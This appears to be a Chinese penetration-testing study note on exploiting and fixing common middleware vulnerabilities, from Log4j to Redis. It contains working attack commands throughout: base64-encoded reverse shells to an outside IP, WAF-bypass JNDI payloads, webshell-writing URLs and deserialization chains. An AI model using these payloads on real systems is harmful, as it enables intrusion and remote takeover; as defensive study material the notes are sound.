1 背景
面经总结第二篇–常见中间件漏洞。
下面的部分内容可能引用自其他师傅的文章,有的忘记引用了,侵删。
2 渗透测试流程Log4j漏洞原理和利用方法
Apache Log4j是一款功能强大的日志记录组件。
2.1 原理
在2.14.1版本之前,由于Log4j提供的JndiManager类的lookup方法允许开发者通过LDAP协议去读取相应环境中的配置,具体就是直接通过this.context.lookup(name)执行JNDI操作,而没有任何过滤或者限制,因此攻击者可以构造${jndi:ldap://evil.com/example}的payload来执行任意代码。
2.2 利用方法
首先在VPS上利用JNDI-Injection-Exploit构建一个JNDI服务,然后启动nc监听对应的端口,接着将JNDI服务提供的ldap或者rmi接口拼接到URL或者登录框中进行访问即可反弹shell。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c “{echo,YmFzaCAtaSA+IC9kZXYvdGNwLzIwMy4xOTUuNzEuMTkvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}” -A 203.195.71.19
nc -lvnp 10000
http://114.116.107.196:8983/solr/admin/cores?action=${jndi:rmi://203.195.71.19:1099/sgeb2k}
http://114.116.107.196:8983/solr/admin/cores?action=${jndi:ldap://203.195.71.19:1389/sgeb2k}
2.3 修复建议
(1) 使用WAF进行紧急漏洞拦截并升级Log4j到最新版本;
(2) 关闭受影响应用访问互联网;
(3) 设置jvm参数”-Dlog4j2.formatMsgNoLookups=true”;
(4) 设置系统环境变量”FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS”为”true”。
2.4 2.15.0-rc2修复原理
2.15.0-rc2思想就是将JNDI LDAP查找限制为本地主机,具体实现就是在JndiManager类的lookup方法利用白名单限制可访问jndi服务器的协议allowedProtocols、主机allowedHosts和类allowedClasses。
[1] https://xz.aliyun.com/t/10661
2.5 Log4j2绕WAF的payload
${${a:-j}ndi:ldap://203.195.71.19:1389/iugiwn}
${${a:-j}n${::-d}i:ldap://203.195.71.19:1389/iugiwn}
${${lower:jn}di:ldap://203.195.71.19:1389/iugiwn}
${${lower:${upper:jn}}di:ldap://203.195.71.19:1389/iugiwn}
${${lower:${upper:jn}}${::-di}:ldap://203.195.71.19:1389/iugiwn}
[1] https://www.freebuf.com/articles/web/312043.html
3 Shiro框架
Apache Shiro是一款开源安全框架,提供身份验证、授权、会话管理和加密功能。vulhub上Shiro有两个认证绕过和一个反序列化漏洞。
3.1 认证绕过漏洞
当版本小于1.1.0时,Shiro进行权限验证前未进行路径标准化,导致使用时可能绕过权限校验。当访问/./admin时,由于其不能与配置文件匹配而进入/**的匹配范围,导致可以越权访问。
3.2 认证绕过漏洞
当版本小于1.5.2时,利用Shiro和Spring对URL处理的差异化,越权并成功访问。在使用Spring动态控制器时,攻击者通过构造/xxx/..;/admin/这样的跳转,可以绕过Shiro中对目录的权限限制。
3.3 反序列化漏洞
当版本小于1.2.5时,可以利用硬编码的密钥构造rememberMe参数,进行反序列化攻击。在登录时勾选rememberMe的对话框,用户信息经过序列化、AES加密和Base64编码后存储在名为rememberMe的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
[1] https://blog.csdn.net/HEAVEN569/article/details/125389987
3.4 Shiro反序列化漏洞如果cookie中的payload过长被waf拦截如何绕waf
(1) 先知社区上有反序列化payload缩小技术,主要思想就是精简利用链,减少细节;
(2) 把较长payload放到body里面,然后在cookie中利用loader加载payload;
(3) 修改正常的http方法为xxx(任意未知方法),waf不会解析,如果后端解析数据不依赖http方法的话就能绕过waf。
4 Fastjson漏洞原理、利用方法和判断漏洞回显
4.1 原理
阿里开源的JSON工具解析库,目前1.2.83版本之前都有可能存在反序列化漏洞。漏洞利用Fastjson autotype在处理JSON数据的时候,未对@type字段进行完全的安全性验证,攻击者可以POST发送恶意JSON数据,然后利用Fastjson对恶意JSON数据进行反序列化。在不同限制条件下有不同的利用链,常用三种利用链是JdbcRowSetImpl、TemplateImpl和BasicDataSource。
[1] https://www.freebuf.com/vuls/361576.html
4.2 JdbcRowSetImpl利用方法
首先编译并上传命令执行代码文件Exploit.class;然后借助marshalsec项目启动一个RMI或者LDAP服务器监听端口,并加载Exploit.class;最后POST发送Payload即可反弹shell。
python -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://10.27.81.37:8000/#Exploit" 9999
1 | { |
[1] https://www.cnblogs.com/nice0e3/p/14776043.html
4.2 TemplateImpl的payload
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["Base64字符串"],"_name":"a","_tfactory":{ },"_outputProperties":{ }} |
[2] https://www.cnblogs.com/nice0e3/p/14601670.html
4.3 BasicDataSource利用链
BCEL ClassLoader在执行loadClass()方法时,如果classname中含有$$BCEL$$,则会进入createClass()方法。createClass()方法将$$BCEL$$字节后面的内容解密为class字节码,最后调用defineClass()加载字节码。Payload的@type字段包含tomcat.dbcp和bcel ClassLoader,另外driverClassName字段包含$$BCEL$$+恶意bcel字节码。
1 | { |
[1] https://www.cnblogs.com/nice0e3/p/14949148.html
4.4 payload特征
HTTP请求方法是POST,请求头的content-type为application/json,请求数据包含@type标识。
4.5 三种利用链分析
JdbcRowSetImpl实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广。必须能出网,加载远端的恶意字节码,造成了局限性
TemplateImplTemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手。需要开启Feature.SupportNonPublicField,实战中不适用
BasicDataSource不需要出网,不需要开启特殊的参数,适用范围较广。目标需要引入tomcat依赖,虽说比较常见,但也是一种限制
[1] https://www.anquanke.com/post/id/248892
4.5 基于JNDI+RMI或JDNI+LADP攻击的JDK版本限制
RMI利用的JDK版本≤JDK 6u132、7u122、8u113
LADP利用JDK版本≤6u211、7u201、8u191
4.6 修复建议
(1) 使用WAF紧急漏洞拦截再升级到安全版本;
(2) 采用其他Json处理组件替换,比如Gson;
(3) 采用safeMode加固。
4.7 判断漏洞回显方法
(1) 命令执行利用dnslog外带
(2) 命令执行重定向网站静态资源,前提是需要知道网站URL和静态资源路径。
(3) 使用classload加载BCEL字节码
4.8 Fastjson不出网利用
BCEL ClassLoader代码执行、C3P0二次序列化、common-io写文件
[1] https://xz.aliyun.com/t/12492
5 Weblogic漏洞原理、利用方法和判断漏洞回显
漏洞很多,比如弱口令、SSRF、反序列化、文件上传,端口是7001,存在最多的漏洞就是反序列化。
5.1 反序列化
vulhub上的Weblogic存在XMLDecoder反序列化和WLS Core Components反序列化。
5.2 SSRF
利用SSRF漏洞可以发送任意HTTP请求,进而攻击内网中redis6379、fastcgi等脆弱组件。将基于save命令的反弹shell脚本进行URL编码,然后用%0D%0A替换\r\n,将编码后的脚本放在ssrf的域名后面,即可写入定时任务/etc/crontab,最终就能反弹shell。如果save命令不可用,可以尝试基于slaveof和fullresyc命令的主从复制RCE。
5.3 CVE-2023-21839
5.3.1 原理
前段时间与长亭科技的X-Ray安全团队的4ra1n师傅有关的CVE-2023-21839漏洞,允许远程用户在未经授权的情况下通过IIOP/T3协议进行JNDI lookup操作,当JDK版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。
5.3.2 利用方法
首先编译4ra1n师傅的CVE-2023-21839的go源码,在vps执行JNDIExploit-1.4-SNAPSHOT.jar包启动ldap服务;然后使用JNDIExploit-1.4-SNAPSHOT.jar的-u参数查找可以执行任意命令的payload构造方式;接着监听端口;最后使用编译好的go程序和payload进行命令执行。
java -jar JNDIExploit-1.4-SNAPSHOT.jar –ip 203.195.71.19
nc -lvvp 11111
./CVE-2023-21839 -ip 114.116.107.196 -port 7001 -ldap ldap://203.195.71.19:1389/Basic/ReverseShell/203.195.71.19/11111
5.3.3 修复建议
(1) 安装最新安全补丁;(2) 关闭T3和IIOP协议端口。
5.3.4 判断漏洞回显方法
nmap -n -v -p7001,7002 114.116.107.196 –script=weblogic-t3-info
然后根据WebLogic版本信息利用对应的漏洞
6 Tomcat漏洞原理、利用方法和判断漏洞回显
6.1 漏洞情况
vulhub显示的Tomcat漏洞包括AJP文件包含、PUT方法任意写文件、弱口令和后台getshell漏洞,端口是8080。
6.2 幽灵猫
Ghostcat(幽灵猫)是由长亭科技安全研究员发现的Tomcat漏洞,由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含webapp目录下所有文件,利用文件包含还可以远程代码执行。
修复建议:
① 如果服务器未使用AJP协议,直接升级Tomcat到安全版本;
② 如果服务器使用AJP协议,直接关闭AJP Connector或将其监听地址改为localhost;
③ 采用防火墙阻止不可信任的来源访问AJP Connector端口。
6.3 AJP文件包含
首先使用xray对目标ip的8009端口进行servicescan扫描,返回幽灵猫的CVE后就可以使用YDHCUI师傅的CNVD脚本读取webapp目录下的文件。
xray_windows_amd64.exe servicescan –target 114.116.107.196:8009
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f /WEB-INF/web.xml 114.116.107.196
6.4 PUT方法任意写文件
Tomcat配置了可写参数(readonly=false),导致我们可以往服务器写入任意文件,比如写jsp一句话然后getshell。
6.5 弱口令和后台getshell
msf爆破tomcat弱口令tomcat/tomcat,然后上传jsp一句话的war包即可直接getshell。
msfconsole
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 114.116.107.196
set RPORT 8080
exploit
判断漏洞回显方法:(1) 采用X-Ray扫描8009端口
7 Struts2漏洞原理
vulhub显示的Struts2有18个远程代码执行漏洞,我只是复现了59和61两个漏洞。
7.1 S2-59
Apache Struts框架会对某些特定标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入,从而可能造成远程代码执行。
7.2 S2-61
S2-61是对S2-59的绕过,Struts2官方对S2-59的修复方式是加强OGNL表达式沙盒,而S2-61绕过了该沙盒。
8 Spring漏洞原理和利用条件
vulhub显示的Spring有1个越权漏洞和8个远程命令执行漏洞。
8.1 越权漏洞
在Spring Security中使用RegexRequestMatcher且规则中包含带点号(.)的正则表达式时,攻击者可以通过构造恶意数据包绕过身份认证。
http://82.157.50.87:8080/admin/%0Atest
http://82.157.50.87:8080/admin/%0Dtest
8.2 远程命令执行漏洞
(1) 通过JDK 9+上的数据绑定实现Spring Framework RCE(CVE-2022-22965)
在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能容易通过数据绑定受到RCE攻击,漏洞需要应用程序作为WAR部署在Tomcat上运行。
(2) Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)
如果在数据包请求头中传入spring.cloud.function.routing-expression恶意参数,SpEL表达式将被执行。
[1] https://silentx.gitee.io/2022/09/11/spring/
9 Java反序列化漏洞的原理;Jboss漏洞原理和利用条件
9.1 Java反序列化漏洞的原理
Java序列化是指把Java对象转换为字节序列的过程,便于保存在内存、文件和数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。Java反序列化是指把字节序列恢复为Java对象的过程,ObjectInputStream类的readObject()方法用于反序列化。序列化与反序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信和对象持久化存储。Java反序列化漏洞解决方案主要是类白名单校验、禁止JVM执行外部命令。
9.2 JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)
vulhub显示的Jboss有3个反序列化漏洞,利用思路类似。首先使用ysoserial来生成序列化数据poc.ser,然后将其作为POST Body发送至/invoker/readonly路径,服务器通过ObjectInputStream类的readObject方法将用户POST提交的数据进行Java反序列化并达到命令执行的效果。
java -jar ysoserial.jar CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDMuMTk1LjcxLjE5LzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}” > poc.ser
curl http://82.157.50.87:8080/invoker/readonly –data-binary @poc.ser
10 ThinkPHP漏洞原理、利用方法和判断漏洞回显
vulhub显示的ThinkPHP漏洞主要是本地文件包含、SQL注入和远程代码执行。
10.1 本地文件包含
在6.0.13版本及以前,存在一处本地文件包含漏洞。当开启多语言特性时,攻击者可以使用lang参数来包含任意本地PHP文件。如果在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件。
利用方法:
(1) 尝试包含public/index.php文件来确认文件包含漏洞是否存在,返回500页面即存在;
/?lang=../../../../../public/index
(2) 包含pearcmd.php并写入shell.php文件;
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/=@eval($_REQUEST['ihui']);?>+shell.php
(3) 蚁剑连接http://114.116.107.196:8080/shell.php
10.2 SQL注入
利用报错注入函数updatexml()在DEBUG页面显示信息。
http://114.116.107.196/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
10.3 远程代码执行
在5.0.23以前的版本,获取method的方法没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链。
10.4 远程代码执行
在版本5.0.22/5.1.29,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法。
http://114.116.107.196:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
http://114.116.107.196:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= echo ‘‘ > shell.php
11 Redis漏洞原理、利用条件和防御
11.1 未授权访问
11.1.1 原理&利用条件
Redis默认情况下会绑定在0.0.0.0:6379,如果没有添加防火墙规则避免非可信来源IP访问等安全策略,Redis服务会暴露到公网上;如果没有设置密码认证,会导致任意用户都能访问Redis服务器。
11.1.2 漏洞利用方法
攻击者可以使用redis-cli命令连接Redis服务器,然后利用Redis提供的config命令向目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,首先将Redis的本地数据库存放目录设置为/var/www/html、~/.ssh或/var/spool/cron;然后将dbfilename设置为文件名;接着写入文件内容;最后再执行save或bgsave命令保存。
11.1.3 漏洞探测
nmap -sV -p 6379 –script=redis-info 114.116.107.196
11.2 主从复制RCE
11.2.1 原理
在4.x/5.x版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
11.2.2 利用条件
Redis 4.x/5.x版本;无需root账号启动Redis,普通权限也可以。
11.2.3 漏洞利用方法
在4.x/5.x版本中,Redis提供主从模式,首先通过slaveof命令将目标Redis服务器设置为恶意Redis服务器的从机,同时fullresync请求会同步主机文件到从机;然后将dbfilename设置为exp.so;最后从机加载恶意so文件,即可执行命令。可以使用redis-rogue-server脚本进行主从复制RCE的利用。
[1] https://blog.csdn.net/YouthBelief/article/details/121020672
[2] https://cloud.tencent.com/developer/article/1853008
11.3 防护策略
(1) 禁止Redis执行高危命令;
(2) 以低权限运行Redis服务;
(3) 为Redis添加一定强度的密码验证;
(4) 设置防火墙策略,禁止外网访问Redis;
(5) 配置安全组,限制可连接Redis服务器的IP。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。